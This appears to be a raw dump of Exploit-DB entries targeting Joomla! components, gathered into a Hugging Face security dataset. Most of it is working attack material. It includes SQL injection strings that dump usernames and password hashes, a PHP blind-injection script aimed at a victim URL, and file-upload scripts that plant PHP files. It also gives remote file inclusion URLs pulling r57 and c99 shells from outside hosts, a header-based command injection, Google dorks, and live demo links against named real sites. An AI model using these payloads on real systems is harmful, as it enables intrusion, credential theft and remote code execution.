deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35839
Description: Joomla! Component Minitek FAQ Book 1.3 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-06-13
Author: kaMtiEz

Exploit:
source: https://www.securityfocus.com/bid/48223/info

Joomla Minitek FAQ Book is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Joomla Minitek FAQ Book 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/demo16/faq-book?view=category&id=-7+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+jos_users--
Exploit-DB #9463
Description: Joomla! Component MisterEstate - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-08-18
Author: jdc

Exploit:
<?php

  echo '<h2>Joomla Component MisterEstate Blind SQL Injection Exploit</h2>';

  // http://www.misterestate.com/

  ini_set( "memory_limit", "512M" );

                ini_set( "max_execution_time", 0 );

                set_time_limit( 0 );

                if( !isset( $_GET['url'] ) ) die( 'Usage: '.$_SERVER['SCRIPT_NAME'].'?url=www.victim.com' );

  $url = "http://".$_GET['url']."/index.php?option=com_misterestate&act=mesearch&task=showMESR&tmpl=component";

  $data = array();

  $data['src_cat'] = 0;

  $data['country'] = 'no';

  $data['state'] = 'no';

  $data['town'] = 'no';

  $data['district'] = 'no';

  $data['mesearch'] = 'Start Search';

  $admin = '';

  $output = getData( "1%') AND 1=2 UNION SELECT id FROM jos_users WHERE gid=25 ORDER BY id ASC LIMIT 1 -- '" );

  if( !testData( $output ) ) die('failed');

  echo '<br />Check passed... trying exploit...<br /><br />';

 

  for( $i=0;$i<250;$i++ )

  {

    for( $j=48; $j<126; $j++ )

    {

      $output = getData( "1%') AND 1=2 UNION SELECT id FROM jos_users WHERE gid=25 AND ASCII(SUBSTRING(CONCAT(username,0x3a,password),$i,1)) = $j ORDER BY id ASC LIMIT 1 -- '" );

      if( testData( $output ) )

      {

        ob_end_clean();

        $admin .= chr( $j );

        echo "Found character $i : buffer is now $admin<br />";

      }

      ob_end_clean();

    }

  }

  echo "<h3>All done!</h3>";

  echo "<h4>$admin</h4>";

  function shutUp( $buffer ) { return false; }

  function testData( $output )

  {

    /* feel free to add other translations as needed */

    $reg = array( '/Your\ search\ produced\ 1\ hits/', '/Su\ busqueda\ ha\ encontrado\ 1\ aciertos/' );

    foreach( $reg as $r )

      if( preg_match( $r, $output ) )

        return TRUE;

    return FALSE;

  }

  function getData( $string )

  {

    global $data, $url;

    $data['searchstring'] = $string;

    ob_start( "shutUp" );

    $ch = curl_init();

    curl_setopt( $ch, CURL_TIMEOUT, 120 );

    curl_setopt( $ch, CURL_RETURNTRANSFER, 0 );

    curl_setopt( $ch, CURLOPT_URL, $url );

    if( count( $data ) > 0 )

    {

      curl_setopt( $ch, CURLOPT_POST, count( $data ) );

      curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $data ) );

    }

    curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" );

    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );

    $result = curl_exec( $ch );

    curl_close( $ch );

    return ob_get_contents();

  }

  /* jdc 2009 */

# milw0rm.com [2009-08-18]
Exploit-DB #12318
Description: Joomla! Component MMS Blog 2.3.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-21
Author: AntiSecurity

Exploit:
=============================================================================================================


  [o] Joomla Component MMS Blog Local File Inclusion Vulnerability
 
       Software : com_mmsblog version 2.3.0
       Vendor   : http://mms.pipp.no/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_mmsblog&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00


=============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=============================================================================================================


  [o] April 21 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #41673
Description: Joomla! Component Modern Booking 1.0 - 'coupon' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-22
Author: Hamed Izadi

Exploit:
###############################################################################################
# Exploit Title: Joomla Modern Booking  - SQL Injection

               # Author: [ Hamed Izadi ]

                        #IRAN

# Vendor Homepage :
https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/modern-booking/
# Vendor Homepage : https://www.unikalus.com/
# Category: [ Webapps ]
# Tested on: [ Ubuntu ]
# Versions: 1.0
# Date: March 22, 2017


# PoC:
# coupon Parameter Vulnerable To SQLi

# Demo:
# https://server/modern-booking-slots?task=saveorder&coupon=test"&start=&option=com_modern_booking


#  L u Arg
###############################################################################################
Exploit-DB #3734
Description: Joomla! Component module autostand 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-14
Author: Cold Zero

Exploit:
=======================================================
Joomla Module AutoStand Category <= 1.1 Remote File include Vulnerabilities
=======================================================
Found By : Cold z3ro , Cold-z3ro@hotmail.com
=======================================================
Homepage: www.Hack-Teach.com
=======================================================
Script Site : 
http://www.joomlafrance.org/telecharger/startdown/AutoStand_Category.html
=======================================================
Description: its a joomla module Shows the categories created
=======================================================

File : /mod_as_category/mod_as_category.php
#  include($mosConfig_absolute_path . 
"/components/com_autostand/languages/portuguese.php  <= line 10

# Don't allow direct acces to the file
  defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not 
allowed.' ); <= line  21+22
========================================================
/modules/mod_as_category/mod_as_category.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
/modules/mod_as_category.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
=======================================================



#Long Life Palestine
#www.Hack-Teach.com

# milw0rm.com [2007-04-14]
Exploit-DB #37379
Description: Joomla! Component mod_artuploader - 'upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-12
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/53969/info

The Art Uploader component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Art Uploader 1.0.1 is vulnerable; other versions may also be affected. 

<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.example.com/modules/mod_artuploader/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('userfile'=>"@$uploadfile",
                'path'=>'./'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : http://www.example.com/modules/mod_artuploader/lo.php

lo.php
<?php
phpinfo();
?>
Exploit-DB #37382
Description: Joomla! Component mod_jfancy - 'script.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-13
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/53975/info

The jFancy component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

jFancy 2.03 is vulnerable; other versions may also be affected. 

Exploit :

PostShell.php
<?php

$uploadfile="lo.php.gif";
$ch = curl_init("http://www.example.com/modules/mod_jfancy/script.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('photoupload'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : http://www.example.com/images/lo.php.gif

lo.php.gif
<?php
phpinfo();
?>
Exploit-DB #17736
Description: Joomla! Component mod_simpleFileLister 1.0 - Directory Traversal
Type: webapps
Platform: php
Date: 2011-08-28
Author: evilsocket

Exploit:
# Exploit Title: Joomla Simple File Lister module <= 1.0 Directory Traversal Vulnerability
# Google Dork: "Simple File Lister v1.0" "Files in directory"
# Date: 2011-08-28
# Author: evilsocket ( evilsocket [at] gmail [dot] com )
# Software Link: http://extensions.joomla.org/extensions/core-enhancements/file-management/15793
# Version: 1.0

---------------
Vulnerable code
---------------

[ helper.php line 51 ]

function getDirContents($params, $sfl_dirlocation, $sfl_basepath, $sfl_maxfiles, $sfl_userlocation) {
  ...
  ...
  really messy code, generally speaking the variable $sfl_dirlocation which contains the directory to be
  read is not succesfully sanitized for relative paths
  ...
  ...


---
PoC
---

http://www.site.com/index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../

To look for a valid url, just sniff the HTTP request sent from the module javascript code once a directory is clicked.
Exploit-DB #17560
Description: Joomla! Component mod_spo - SQL Injection
Type: webapps
Platform: php
Date: 2011-07-21
Author: SeguridadBlanca

Exploit:
# Exploit Title: Simple Page Option LFI
# Google Dork: inurl:mod_spo
# Date: 15/07/2011
# Author: SeguridadBlanca.Blogspot.com or SeguridadBlanca
# Software Link: http://joomlacode.org/gf/download/frsrelease/11841/47776/mod_spo_1.5.16.zip
# Version: 1.5.x
# Tested on: Backtrack and Windows 7

Simple Page Option – LFI
Vulnerable-Code:
$s_lang
=& JRequest::getVar('spo_site_lang');
(file_exists(dirname(__FILE__).DS.'languages'.DS.$s_lang.'.php'))
? include(dirname(__FILE__).DS.'languages'.DS.$s_lang.'.php')
: include(dirname(__FILE__).DS.'languages'.DS.'english.php');
Vulnerable-Var:
spo_site_lang=

Expl0iting:
http://www.xxx.com/home/modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using
%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=../../../../../../../../../../etc/passwd% 00&spo_site_name=Alfredo%20Arauz&spo_url_type=1&spo_url2se

Reparing?:
Just Filter with str_replace(); or htaccess protection to the vulnerable file.

gr33tz: Alfredo Arauz, SeguridadBlanca.Blogspot.com, Ecuador and Perú Security.
Exploit-DB #12574
Description: Joomla! Component mod_VisitorData 1.1 - Remote code Execution
Type: webapps
Platform: php
Date: 2010-05-11
Author: Chip d3 bi0s

Exploit:
Joomla Module Camp26 Visitor Data 1.1 Remote code Execution
============================================================

- Discovered by	: Chip D3 Bi0s
- Email		: chipdebios@gmail.com
- Date		: 2010-04-28
- Severity	: 9/10 (CVSS scored)

-------------------------------

Module Camp26 Visitor Data For Joomla 1.5.x
Version		: 1.1
Type		: Non-Commercial
Created by	: Denny Setiarika Pirhadi - camp26.biz Team
License 	: GPLv2.0 - http://www.gnu.org/licenses/gpl-2.0.html
Created on	: 02 May 2008
Latest Update	: 26 December 2008
URL		: www.camp26.biz

I. BACKGROUND
Visitor Data Module shows the visitor's data on your live site (Their IP, Proxy(if used),
Country, ISP, Browser, Operating System).
Based on GeoIP (www.maxmind.com).

II. DESCRIPTION
Some technical issues were originally published in the following post:
http://elotrolad0.blogspot.com/2010/05/modvisitordata-joomla-remoce-code.html

with whom originally exploit the error, as r0i like to thank, who Realizing the
proof of concept.


III. ANALYSIS
The bug is in the following files, specifying the lines

file:
/modules/mod_VisitorData/tmpl/default.php

line:
[47] if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
[48] 		$whois ="whois " . $_SERVER['HTTP_X_FORWARDED_FOR'] ." | grep netname";
[49] 	}
[50] 	else{
[51] 		$whois ="whois " . $_SERVER['REMOTE_ADDR'] ." | grep netname";
[52] 	}
[53] 
[54] 	$isp_user = exec($whois);


explaining the code: what to do is get our ip, and if it passes through any proxy other
than q are also other issues in the code as the country of connection, image, browser,
operating system. As can be seen to see if it goes through a proxy using the exec (),
line 54, reason that allows you to run remote commands.
If the conditional check whether to park in the header HTTP_X_FORWARDED_FOR,if this
happens take this value otherwise take REMOTE_ADDR, 2 may be present at one time.

command to run only can we add X-Forwarded-For in the header to take this value and
run exec () which is what we are interested.

IV. EXPLOITATION
You have to add
X-Forwarded-For:;[command-here];1


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #10273
Description: Joomla! Component MojoBlog 0.15 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-12-01
Author: kaMtiEz

Exploit:
#########################################################################
## Joomla Component MojoBlog Multiple Remote File Include vulnerability #
## Author : kaMtiEz (kamzcrew@yahoo.com)  			        #
## Homepage : http://www.indonesiancoder.com    	     		#
## Date : November 20, 2009 						#
#########################################################################

[ Software Information ]

[+] Vendor : http://www.joomlify.com/
[+] Download : http://www.joomlify.com/files/mojoblog/
[+] version : RC0.15
[+] Vulnerability : RFI
[+] Dork : inurl:"com_mojo"

#########################################################################

[ Vulnerable File ]

http://server/components/com_mojo/wp-comments-post.php?mosConfig_absolute_path=[INDONESIANCODER-Ev1L]

http://server/components/com_mojo/wp-trackback.php?mosConfig_absolute_path=[INDONESIANCODER-Ev1L]

[ BUG IN ]

[1] wp-comments-post.php

[2] wp-trackback.php
======================

[1] require_once($mosConfig_absolute_path.'/components/com_mojo/wp-config.php'); 

[2] require_once($mosConfig_absolute_path.'/components/com_mojo/wp-config.php'); 

[ FIX ]

contact me .. or aurakasih ..

Joke.. ;)
#########################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy and YOU!!

[ NOTE ] 

[+] one day .. u will be mind ..
[+] bangun tidur coba mencari celah .. dapet juga ,, :D
[+] aurakasih .. aku butuh kamuwh .. hha
[+] om tukulesto kapan ke kotaku ?? hha
Exploit-DB #41505
Description: Joomla! Component Monthly Archive 3.6.4 - 'author_form' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Monthly Archive v3.6.4 - SQL Injection
# Google Dork: inurl:index.php?option=com_monthlyarchive
# Date: 04.03.2017
# Vendor Homepage: http://web357.eu/
# Software Buy: https://extensions.joomla.org/extensions/extension/news-display/articles-display/monthly-archive/
# Demo: http://demo.web357.eu/joomla/en/browse/monthly-archive
# Version: 3.6.4
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_monthlyarchive&view=monthlyarchive&month_year_form=07-2017&order=0&author_form=[SQL]
# 1+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e,0x496873616e53656e63616e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
# # # # #
Exploit-DB #8898
Description: Joomla! Component MooFAQ (com_moofaq) - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-06-08
Author: Chip d3 bi0s

Exploit:
----------------------------------------------------------------------
Joomla Component MooFAQ Local File Inclusion Vulnerability
----------------------------------------------------------------------

 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Vulnerability :  LFI
 ###################################################

________________________________________________________

Example:

http://localHost/path/components/com_moofaq/includes/file_includer.php?gzip=0&file=[LFI]


Demo Live (1):
http://www.paginaswebhonduras.com/components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd

Demo Live (2):
http://www.uers.gov.do/components/com_moofaq/includes/file_includer.php?gzip=0&file=/etc/passwd

++++++++++++++++++++++++++++++++
[!] Produced in South America
--------------------------------


<productName>FAQ Component using mooTools</productName>
<creationDate>20 July 2007</creationDate>
<version>1.0</version>
<joomlaVersion>1.0.13</joomlaVersion>
<author>Douglas Machado</author>
<authorName>Douglas Machado</authorName>
<authorEmail>falecom@focalizaisso.com.br</authorEmail>
<authorUrl>opensource.focalizaisso.com.br</authorUrl>
<productPicture>config.png</productPicture>
<productUrl>http://opensource.focalizaisso.com.br/</productUrl>
<setupUrl>http://opensource.focalizaisso.com.br/</setupUrl>

# milw0rm.com [2009-06-08]
Exploit-DB #5047
Description: Joomla! Component mosDirectory 2.3.2 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-03
Author: GoLd_M

Exploit:
###########################################################################################
### Joomla Component mosDirectory 2.3.2 (catid) Remote SQL Injection Vulnerability      ###
### Script :  :(                                                                          ###
### Dork : inurl:index.php?option=com_directory                                         ###
### Injection Adress : /index.php?option=com_directory&page=viewcat&catid=[SQL Code]    ###
### SQL Code :                                                                          ###
###   -1/**/union/**/select/**/0,concat(username,0x3a,password)/**/from/**/jos_users/*  ###
###                                     aNa TrYaGi                                      ###
###########################################################################################

# milw0rm.com [2008-02-03]
Exploit-DB #4783
Description: Joomla! Component mosDirectory 2.3.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-24
Author: ShockShadow

Exploit:
--==+=================== Electronic Security Team (www.Yee7.com) =================+==--
--==+          Joomla Component mosDirectory 2.3.2 Remote File Inclusion          +==--
--==+=============================================================================+==--

Software:     Joomla Component mosDirectory 2.3.2
exploit:      Remote File Inclusion [High Risk]
By:           ShockShadow - Electronic Security Team (www.Yee7.com)
Home:         www.Yee7.com
Download:     http://www.box.net/shared/kdp2h6dbe1
txtShell:     http://yee7.com/shells/c99.txt

##############################

==============
Dork: priv8 ;)

PoC:
http://domain.com/joomla_Path/com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=http://shell.txt?
###############################

by: ShockShadow
Thanks to: ArabHacker, Alyahmom, Trojan, Alakrb Almoftres, Qanas Alyahood, Kates-Ye
AND ALL Yee7.com members

# milw0rm.com [2007-12-24]
Exploit-DB #2205
Description: Joomla! Component Mosets Tree 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-17
Author: Crackers_Child

Exploit:
!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!!
--------------------------------------------------------------------------------

Title : Joomla Mosets Tree <= 1.0 Remote File Include Vulnerability

--------------------------------------------------------------------------------
#Author: Crackers_Child


#cont@ct: crackers_child@sibersavascilar.com

--------------------------------------------------------------------------------

Google Dorks  : inurl:"/com_mtree/"

------------------------- -------------------------------------------------------

Application :  Mtree  Component of Mambo

--------------------------------------------------------------------------------

--------------------------------------------------------------------------------

Exploit:

http://[target]/[mambo_path]/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_path=

--------------------------------------------------------------------------------

greets:

All My Friends And SiberSavascilar.Com Members !

--------------------------------------------------------------------------------



--------------------------------- [ WWW.SiBERSAVASCiLAR.COM ] --------------------------------------

# milw0rm.com [2006-08-17]
Exploit-DB #3714
Description: Joomla! Component mosmedia 1.0.8 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-11
Author: GoLd_M

Exploit:
- com_mosmedia for Mambo & Jommla <= Remote File Include Vulnerability
- Exloit :
- /components/com_mosmedia/media.tab.php?mosConfig_absolute_path=r57.txt?
- /components/com_mosmedia/media.divs.php?mosConfig_absolute_path=r57.txt?
- Page Script :
- http://mamboxchange.com/frs/download.php/5577/com_mosmedia_laithai.zip
- Thanx : Tryag.Com/cc  &  Asb-May.Net/bb

# milw0rm.com [2007-04-11]